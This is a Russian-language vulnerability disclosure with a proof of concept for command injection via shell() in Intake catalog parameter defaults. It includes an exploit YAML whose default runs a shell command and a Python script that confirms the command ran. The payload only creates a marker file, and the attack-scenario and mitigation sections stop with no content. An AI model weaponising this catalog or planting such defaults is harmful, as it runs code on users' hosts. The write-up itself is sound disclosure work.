
Proof-of-concept, демонстрирующий внедрение команд через расширение shell() в значениях параметров по умолчанию в каталогах Intake, с эксплойт-YAML и скриптом воспроизведения.
CVE-2026-33310 (Command Injection via shell() Expansion in Parameter Defaults)
Синтаксис shell() в значениях параметров по умолчанию, по-видимому, автоматически раскрывается в процессе разбора каталога. Если каталог содержит значение параметра по умолчанию, такое как shell(), команда может быть выполнена при обращении к источнику каталога. Это означает, что если пользователь загружает вредоносный YAML-каталог, встроенные команды могут быть выполнены на хост-системе. Такое поведение потенциально может быть классифицировано как CWE-78: OS Command Injection / Unsafe Shell Expansion.
Проблема, по-видимому, возникает из-за того, как значения параметров по умолчанию раскрываются при обращении к источнику каталога.
Во время загрузки каталога и обращения к источнику:
Intake разрешает значения параметров по умолчанию Функция, отвечающая за раскрытие значений по умолчанию, обрабатывает синтаксис shell() Выражение shell() запускает выполнение дочернего процесса Поскольку это происходит во время оценки каталога, команда может быть выполнена до того, как пользователь явно взаимодействует с самим набором данных.
Затронутая логика, по-видимому, включает:
expand_defaults()
и связанные механизмы разбора параметров.
exploit.yaml
metadata:
version: 1
sources:
rce_test:
driver: csv
description: "Testing shell expansion in parameters"
args:
urlpath: "{{ cmd_exec }}"
parameters:
cmd_exec:
display_name: "Test Parameter"
type: str
default: "shell(touch /tmp/intake_rce_test)"
reproduce.py
import intake
import os
PROOF_FILE = "/tmp/intake_rce_test"
if os.path.exists(PROOF_FILE):
os.remove(PROOF_FILE)
print(f"[*] Proof file exists before: {os.path.exists(PROOF_FILE)}")
try:
cat = intake.open_catalog("exploit.yaml")
print("Accessing source...")
_ = cat["rce_test"]
except Exception as e:
print(f" Error during execution: {e}")
if os.path.exists(PROOF_FILE):
print(f" Command execution confirmed, Found: {PROOF_FILE}")
else:
print("Command execution did not occur.")
Потенциальный сценарий атаки может быть следующим:
Если будет подтверждено, что такое поведение не является преднамеренным, злоумышленник может распространять вредоносный файл каталога через:
Возможные меры по смягчению проблемы могут включать: